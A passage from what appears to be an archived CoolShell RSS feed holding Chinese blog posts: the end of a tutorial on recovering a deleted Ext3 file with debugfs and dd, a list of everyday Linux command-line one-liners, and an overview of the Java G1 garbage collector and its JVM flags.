style=\"font-weight: bold; font-style: italic;\">    mtime: 0x00000000 &#8212; Thu Jan  1 05:30:00 1970</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Blocks:</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">  FS block 2129985 logged at sequence 405648, journal block 64</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    (inode block for inode 2121567):</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Inode: 2121567   Type: regular        Mode:  0664   Flags: 0x0   Generation: 913772093</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    User:   100   Group:     0   Size: 31</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    File ACL: 2130943    Directory ACL: 0</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Links: 1   Blockcount: 16</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Fragment:  Address: 0    Number: 0    Size: 0</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    ctime: 0x4821d5d0 &#8212; Wed May  7 21:46:16 2008</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    atime: 0x4821d8be &#8212; Wed May  7 21:58:46 2008</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    mtime: 0x4821d5d0 &#8212; Wed May  7 21:46:16 2008</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    Blocks:  (0+1): 2142216</span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<p>上面有很多信息，让我们仔细地查看，你可以看到下面一行信息：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\"> FS block 2129985 logged at sequence 405644, journal block 9</span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<p>并且，其类型是：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\"> Type: bad type </span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<p>再仔细看一下文件的时间戳下面的<span style=\"font-weight: bold; font-style: italic;\">Blocks:</span> 什么也没有。那么，让我们看一下下一个block：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">FS block 2129985 logged at sequence 405648, journal block 64</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">    (inode block for inode 2121567):</span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<p>这一条Journal就有block信息了：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">Blocks:  (0+1): 2142216</span></div>\n<p>这就是被删除文件的地址，让我们再次运行恢复命令：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">$sudo dd if=/dev/sda5 of=/home/hchen/mytest_recovered.txt bs=4096 skip=2142216 count=1</span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<p>再让我们来检查一下文件内容：</p>\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">$ cat mytest_recovered.txt</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">this is my test file </span><br style=\"font-weight: bold; font-style: italic;\" /></div>\n<h4>小结</h4>\n<p>好了，下面是我们的一些总结：<br />\n<span style=\"font-weight: bold;\">1)使用 debugfs: ls -d 找到被删除文件的inode号。</span><br style=\"font-weight: bold;\" /><span style=\"font-weight: bold;\">2)使用 debugfs:logdump找到文件的数据块地址。</span><br style=\"font-weight: bold;\" /><span style=\"font-weight: bold;\">3)使用dd 命令把数据取出来存成文件。</span></p>\n<p>网上有很其它不同的方法来恢复文件，基本上也是使用debugfs这个命令，有的还使用到了lsdel，其实大同小异，这个教程是我在网上看到的，虽然他说只是针对Ext3文件系统的，但我总感觉应该可以用于Ext2文件系统，不过我没有试过。也许Ext2和Ext3被debugfs输出的信息不一样吧。大家可以去试试。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何调试bash脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_title\">如何调试bash脚本</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"PDF电子书搜索引擎\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/424.html\" class=\"wp_rp_title\">PDF电子书搜索引擎</a></li><li ><a href=\"https://coolshell.cn/articles/3649.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"TDD并不是看上去的那么美\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3649.html\" class=\"wp_rp_title\">TDD并不是看上去的那么美</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1265.html\">恢复Ext3下被删除的文件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1265.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你用Linux命令行吗？</title>\n\t\t<link>https://coolshell.cn/articles/1256.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1256.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 13 Aug 2009 16:19:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[CLI]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1256</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>想一想，如果你要把一个图片的尺寸改小一点，你会怎么办？当然，我一定会启动一个图形编辑软件，然后，打开图片文件，从菜单上选择相关的工具选项，更改大小，然后保存文件...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1256.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1256.html\">你用Linux命令行吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a>想一想，如果你要把一个图片的尺寸改小一点，你会怎么办？当然，我一定会启动一个图形编辑软件，然后，打开图片文件，从菜单上选择相关的工具选项，更改大小，然后保存文件。就算是在Linux下，我可能也是这么干的，比如Ubuntu下也是这样，如下图：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"photo_gimp\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp-290x300.png\" alt=\"photo_gimp\" width=\"290\" height=\"300\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a></p>\n<p>但其实，如果你用命令行来更改图片大小的话，一条语句就可以搞定了。如：</p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>convert -resize 300 profile.jpg profile_small.jpg</strong></pre>\n<p>当然，如果你要使用这样的命令，你需要安装<a href=\"http://www.imagemagick.org/script/index.php\">Imagemagick</a>，你可通过apt-get install imagemagick来安装一下。</p>\n<p><span id=\"more-1256\"></span></p>\n<p>不管怎么说，很简单吧，下面还有几个：</p>\n<p><strong>1）给图片加阴影</strong></p>\n<p>给图片加阴影可以使用下面的这个命令：</p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>convert screenshot.jpg\n\\( +clone -background black -shadow 60×5+0+5 \\)\n+swap -background white -layers merge +repage shadow.jpg</strong></pre>\n<p>效果如下：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/screenshot-suse.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft\" title=\"screenshot-suse\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/screenshot-suse.jpg\" alt=\"screenshot-suse\" width=\"240\" height=\"180\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/shadow.png\"><img decoding=\"async\" loading=\"lazy\" title=\"shadow\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/shadow.png\" alt=\"shadow\" width=\"260\" height=\"200\" /></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/08/screenshot-suse.jpg\"></a></p>\n<p><strong>2）把两个MP3拼起来</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>cat 1.mp3 2.mp3 &gt; combined.mp3</strong></pre>\n<p><strong>3）克隆一个硬盘设备</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>dd if=/dev/hda of=/dev/hdb</strong></pre>\n<p><strong>4）把ISO文件刻录光盘</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>cdrecord -v speed=8 dev=0,0,0 name_of_iso_file.iso</strong></pre>\n<p><strong>5）视频格式转换</strong></p>\n<p>AVI和Mpeg转换</p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>ffmpeg -i video_origine.avi video_finale.mpg\nffmpeg -i video_origine.mpg video_finale.avi</strong></pre>\n<p>查看这个<a href=\"http://www.catswhocode.com/blog/19-ffmpeg-commands-for-all-needs\" target=\"_blank\">链接</a>，你可以看看ffmpeg可以干得更多。</p>\n<p><strong>6）替换文件中的文本</strong></p>\n<pre style=\"padding-left: 30px; text-align: left;\"><strong>sed ’s/#FF0000/#0000FF/g’ main.css</strong></pre>\n<p>把main.css中的#FF0000(红色)替换成#0000FF（蓝色）</p>\n<p> </p>\n<p>如果你非常喜欢命令行的话，那么你一定要看一下下面这本书（免费在线）</p>\n<p>GNU/Linux命令行介绍：<a href=\"http://en.flossmanuals.net/gnulinux\">http://en.flossmanuals.net/gnulinux</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1256.html\">你用Linux命令行吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1256.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-39.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 39 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=39\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 21 Sep 2012 02:29:19 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>G1新型垃圾回收器一瞥</title>\n\t\t<link>https://coolshell.cn/articles/1252.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1252.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 13 Aug 2009 13:54:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[G1]]></category>\n\t\t<category><![CDATA[GC]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1252</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>G1垃圾回收器 “G1垃圾回收”的英文全称是 Garbage-First Garbage Collector （又被称作G1 GC），这是一个新型的垃圾回收器，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1252.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1252.html\">G1新型垃圾回收器一瞥</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h4>G1垃圾回收器</h4>\n<p>“G1垃圾回收”的英文全称是 <em>Garbage-First Garbage Collector</em> （又被称作G1 GC），这是一个新型的垃圾回收器，由JDK 7中的Java HotSpot VM 引入。这个技术曾经在Java SE 6 Update 14版本中出现过一个试验性的，然后 G1 被 HotSpot的 反应快速（low-latency）的 <em>Concurrent Mark-Sweep</em> GC （简称 <em>CMS</em>）长期取代。</p>\n<h4>属性</h4>\n<p>G1 是一个“服务器风格（server-style）”的垃圾回收器，它主要有下面的这些属性：</p>\n<p><span id=\"more-1252\"></span></p>\n<ul>\n<li><strong>并行和并发。</strong> G1 可以从今天最新的硬件中获得并行的能力。它能够使用所有可用的CPU（CPU多核，硬件多线程，等）来加速它的 “stop-the-world” 机制（这个机制简称STW，即，在执行垃圾收集算法时，Java应用程序的其他所有除了垃圾收集帮助器线程之外的线程都被挂起）。</li>\n<li><strong>分代处理。</strong> 就像其它的HotSpot 垃圾回收器，G1 是分代的，也就是说，它在处理新分配的对象（年轻代）和已经生存了一段时间的对象（年老代）时会不同，它会更多地考虑一些新创建的对象实例，因为越新创建的就越有最大的可能性被回收，老对象只是偶尔访问一下。对于大多数的Java应用来说，这个机制可以极大地提高回收效率。</li>\n<li><strong>紧凑内存（碎片整理）。</strong> 不像CMS，G1 会对堆进行内存整理。压缩可以消除潜在的内存碎片的问题，这样程序就可以更长时间的平滑运行。</li>\n<li><strong>预见性的。</strong> G1 比起 CMS 来有更多的预见性。这个主要还是用来消除内存碎片的问题。内存的碎片少了，Stop-the-World的暂停时间也会被减少。</li>\n</ul>\n<h4>描述</h4>\n<p>比起其它的HotSpot 垃圾回收器来说，G1 使用了一种非常不同寻常的方法来管理堆内存的布局。在G1中，在对象新生代和老一代上没有在物理上把他们分隔开来。取而代之的是，它把一个连续的堆内存拆分成了几个相同大小的区域。新产生的对象和老的对象都会被放在一系列可能不会连续的区域中。之所以这样做，就是为了让G1可以更灵活地移动老对象所占用的资源给新的对象。</p>\n<p>G1中的内存收集会发生 “疏散暂停”，当内存从一系例区域开始回收时，这些区域所引用的 <em>collection set</em> 会被疏散到另一些区域中，这样，我们会有一整块的内存来重新被申请。疏散会发生整个程序的暂停，但“疏散”这些内存可以被并行运行，当然，你要有多核或多线程技术来支持。绝大多数的“疏散暂停”会去收集那些可用的比较新的内存区域，因此，这和其它的 HotSpot 垃圾回收器是相同的。偶而才会去查看一下老区域中的内存是否可以回收。</p>\n<p>在 CMS中，其周期性的执行一个 <em>concurrent marking phase</em>。 这个phase中最主要的事情是，识别哪些老的区域中充满了可以回收的对象，因为这是最有效率和最合适的回收。但在G1中，G1不会执行那个所谓的 <em>concurrent sweeping phase</em>， 取而代之的是，去识别那些的最合适的老的区域是在并发的“疏散暂停”中进行的（后面会做介绍）。</p>\n<h4>使用 G1</h4>\n<p>G1 目前仍然还在试验阶段，使用下面两个参数可以打开G1机制：</p>\n<p><code>-XX:+UnlockExperimentalVMOptions -XX:+UseG1GC</code></p>\n<p>下面是设置垃圾回收器的暂停时间：</p>\n<p><code>-XX:MaxGCPauseMillis =50</code> (设置暂停时间为 50ms)</p>\n<p>在G1中，你还可以给垃圾回收器的暂停设置一个时间间隔：</p>\n<p><code>-XX:GCPauseIntervalMillis =200</code> (设置暂停时间间隔 200ms)</p>\n<p>注意，上面的两个参数只是代表目标，回收器并不保证。他们可能在某些情况下工作地很好，也可能在其它情况下不行，所以，垃圾回收器并不总是服从这两个参数设置。</p>\n<p>另外，新生代的内存大小可以被设置，这个参数同样会影响“疏散暂停”的时间：</p>\n<p><code>-XX:+G1YoungGenSize=512m</code> (设置新生代内存为 512兆字节)</p>\n<p>G1 同样可以使用survivor 空间，是的，这就是多少个区域。大小可以由通用的参数所指定(如： <code>-XX:SurvivorRatio=6</code>).</p>\n<p>最后，如果你要发挥G1的所有潜能，你可以尝试设置下面两个参数，它们默认上是关闭的，因为在一些很稀有的情况下，这两个参数会发生race condition（竞争条件）:</p>\n<p><code>-XX:+G1ParallelRSetUpdatingEnabled<br />\n-XX:+G1ParallelRSetScanningEnabled</code></p>\n<p>还有一件事是G1能够报告比其它垃圾回收站更详细的信息，当然，你需要设置下面这个参数：</p>\n<p> <code>-XX:+PrintGCDetails</code></p>\n<p>这个参数会输出很多有用的信息供你查看性能与以 trouble-shooting。如果你想要简单的日志，你可以把这个开关设置到 <code>-verbosegc</code> 。</p>\n<h4>状态</h4>\n<p>G1 开发目前主要关注于解决一些残留的稳定性的问题，以及提高性能，并且去除下面的限制：</p>\n<ul>\n<li>G1 并不完全支持 JVM Tool Interface (JVM TI) 或 Java Management Extensions (JMX)，所以，这些监控和管理工具无法正确地作用于G1。</li>\n<li>G1 不支持增量的永生代collection。如果一个应用在卸载很多的类，因些需要很多的永生代Collection，目前的G1还不支持，不过最终版会支持。</li>\n<li>关于垃圾回收器的暂停时间，G1的表现比起CMS来说是时好时坏。所以，还有很多工作需要让G1的表现更加稳定，绝不能比CMS还差，不然G1还有什么意思呢？</li>\n</ul>\n<h4>相关资源</h4>\n<ul>\n<li>Description of HotSpot GCs: Memory Management in the Java HotSpot Virtual Machine White Paper: <a href=\"https://coolshell.cn/j2se/reference/whitepapers/memorymanagement_whitepaper.pdf\">http://java.sun.com/j2se/reference/whitepapers/memorymanagement_whitepaper.pdf</a></li>\n<li>The original CMS paper: Printezis, T. and Detlefs, D. 2000. A generational mostly-concurrent garbage collector. In <em>Proceedings of the 2nd international Symposium on Memory Management</em> (Minneapolis, Minnesota, United States, October 15 &#8211; 16, 2000). <a href=\"http://portal.acm.org/citation.cfm?id=362422.362480\" target=\"_blank\">http://portal.acm.org/citation.cfm?id=362422.362480</a> (requires access to ACM&#8217;s portal)</li>\n<li>The original G1 paper: Detlefs, D., Flood, C., Heller, S., and Printezis, T. 2004. Garbage-first garbage collection. In Proceedings of the 4th international Symposium on Memory Management (Vancouver, BC, Canada, October 24 &#8211; 25, 2004). <a href=\"http://portal.acm.org/citation.cfm?id=1029879\" target=\"_blank\">http://portal.acm.org/citation.cfm?id=1029879</a> (requires access to ACM&#8217;s portal)</li>\n<li>G1 talk from JavaOne 2008: <a href=\"http://developers.sun.com/learning/javaoneonline/j1sessn.jsp?sessn=TS-5419&amp;yr=2008\">http://developers.sun.com/learning/javaoneonline/j1sessn.jsp?sessn=TS-5419&amp;yr=2008</a></li>\n</ul>\n<p>文章：<a href=\"http://java.sun.com/javase/technologies/hotspot/gc/g1_intro.jsp\" target=\"_blank\">来源</a></p>\n<p><!-- =================== --><!-- END OF MAIN CONTENT --><!-- =================== --><!--stopindex--><!-- BEGIN D7 COMPONENT V.5 --><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1252.html\">G1新型垃圾回收器一瞥</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 